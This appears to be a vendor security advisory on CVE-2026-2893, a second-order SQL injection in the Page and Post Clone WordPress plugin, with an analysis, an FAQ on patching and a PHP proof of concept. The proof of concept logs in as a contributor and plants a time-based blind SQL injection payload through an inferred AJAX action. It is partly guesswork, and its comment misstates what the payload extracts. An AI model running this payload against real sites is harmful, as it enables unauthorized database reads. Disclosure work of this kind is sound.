Atomic Edge analysis of CVE-2026-2893 (metadata-based):
The vulnerability exists in the Page and Post Clone WordPress plugin. The root cause is improper neutralization of the ‘meta_key’ parameter within the content_clone() function. The plugin fails to properly escape user-supplied input before incorporating it into an SQL query. This creates a classic SQL injection vulnerability. The attack vector requires Contributor-level authentication, which aligns with WordPress’s permission model where Contributors can create and edit their own posts. The injection is second-order: an attacker first stores a malicious payload as a post meta key. This payload is later executed when the post is cloned, triggering the vulnerable SQL query in the content_clone() function. The CVSS vector indicates network accessibility, low attack complexity, low privilege requirements, no user interaction, and high confidentiality impact with no integrity or availability impact. This matches a blind SQL injection scenario where data extraction is possible but not data modification or denial of service. The fix in version 6.4 likely involves proper use of WordPress’s $wpdb->prepare() method for SQL query construction or strict validation/escaping of the meta_key parameter. Atomic Edge research infers the vulnerable endpoint is likely an AJAX handler or admin-post.php endpoint, given the plugin’s functionality and common WordPress patterns. The exact endpoint name cannot be confirmed without source code, but the plugin slug ‘page-or-post-clone’ suggests action names like ‘page_or_post_clone’ or ‘content_clone’.
CVE-2026-2893: Page and Post Clone <= 6.3 – Authenticated (Contributor+) SQL Injection via 'meta_key' Parameter (page-or-post-clone)
CVE-2026-2893
page-or-post-clone
6.3
—
Analysis Overview
Differential between vulnerable and patched code
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2893 - Page and Post Clone <= 6.3 - Authenticated (Contributor+) SQL Injection via 'meta_key' Parameter
<?php
/*
Assumptions:
1. The vulnerable function `content_clone()` is called via an AJAX action or admin-post endpoint.
2. The action name contains the plugin slug 'page_or_post_clone' or similar.
3. The 'meta_key' parameter is accepted via POST.
4. Contributor-level authentication is required (wp-admin cookies).
This PoC demonstrates the first stage: planting a malicious meta key via post meta update.
The second-stage execution occurs when the post is cloned.
*/
$target_url = 'https://target-site.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_pass'; // CHANGE THIS
$post_id = 123; // CHANGE THIS - ID of a post the contributor can edit
// Payload for time-based blind SQL injection (extracts database user)
$payload = "test' OR IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0) OR '1'='2";
// Step 1: Authenticate and get WordPress cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$response = curl_exec($ch);
// Step 2: Add malicious meta key to a post (first-stage payload storage)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'page_or_post_clone_update_meta', // INFERRED action name
'post_id' => $post_id,
'meta_key' => $payload, // The SQL injection payload
'meta_value' => 'dummy',
'_wpnonce' => 'NONCE_PLACEHOLDER' // Nonce would be required
]),
CURLOPT_COOKIEFILE => 'cookies.txt'
]);
$response = curl_exec($ch);
curl_close($ch);
// Step 3: Trigger the clone operation (second-stage execution)
// This would typically involve a separate request to clone the post
// The exact endpoint cannot be confirmed without source code
echo "Payload planted. The SQL injection will execute when post ID $post_id is cloned.n";
?>Frequently Asked Questions
What is CVE-2026-2893?
Overview of the vulnerabilityCVE-2026-2893 is a SQL Injection vulnerability found in the Page and Post Clone plugin for WordPress, affecting versions up to 6.3. It allows authenticated users with Contributor-level access and above to inject malicious SQL queries via the ‘meta_key’ parameter.
How does the SQL Injection occur?
Mechanism of the attackThe vulnerability arises from insufficient escaping of the ‘meta_key’ parameter in the content_clone() function. Attackers can store a malicious payload as post meta data, which is executed when the post is cloned, leading to potential data extraction from the database.
Who is affected by this vulnerability?
User roles and access levelsAny WordPress site using the Page and Post Clone plugin version 6.3 or earlier is affected. Specifically, authenticated users with Contributor-level access and above can exploit this vulnerability.
How can I check if my site is vulnerable?
Identifying affected versionsTo determine if your site is vulnerable, check the version of the Page and Post Clone plugin installed. If it is version 6.3 or earlier, your site is at risk of this SQL Injection vulnerability.
What is the severity level of this vulnerability?
Understanding the CVSS scoreCVE-2026-2893 has a CVSS score of 6.5, categorized as Medium severity. This indicates a moderate risk, where successful exploitation could lead to unauthorized data access without affecting the integrity or availability of the system.
How can I mitigate the risk of this vulnerability?
Recommended actionsTo mitigate this vulnerability, update the Page and Post Clone plugin to version 6.4 or later, where the issue has been addressed. Regularly monitor and update all plugins to maintain security.
What does a second-order SQL Injection mean?
Explaining the attack typeA second-order SQL Injection occurs when a malicious payload is stored in the database and executed later, rather than being directly injected in a single request. In this case, the payload is stored as a post meta key and executed when the post is cloned.
What is the practical risk of this vulnerability?
Potential consequences of exploitationIf exploited, this vulnerability can allow attackers to extract sensitive information from the database, such as user data or configuration details. However, it does not allow attackers to modify data or disrupt service availability.
What does the proof of concept demonstrate?
Understanding the example codeThe proof of concept illustrates how an attacker can use a malicious payload to exploit the vulnerability. It shows how to store a harmful ‘meta_key’ value, which will later trigger the SQL injection when the post is cloned.
What is the role of the $wpdb->prepare() method?
Importance in SQL query constructionThe $wpdb->prepare() method in WordPress is used to safely construct SQL queries by properly escaping user input. Using this method helps prevent SQL Injection vulnerabilities by ensuring that user-supplied data is sanitized before being included in a query.
How can I stay informed about vulnerabilities like CVE-2026-2893?
Keeping up with security updatesTo stay informed, regularly check security advisories from the WordPress community, subscribe to security mailing lists, and follow reputable security blogs. Keeping your plugins and themes updated is also crucial for maintaining site security.
What steps should I take if my site has been compromised?
Responding to an exploitationIf you suspect your site has been compromised, immediately update all plugins and themes, conduct a security audit to identify any unauthorized changes, and restore from a clean backup if necessary. Consider consulting a security professional for a thorough investigation.
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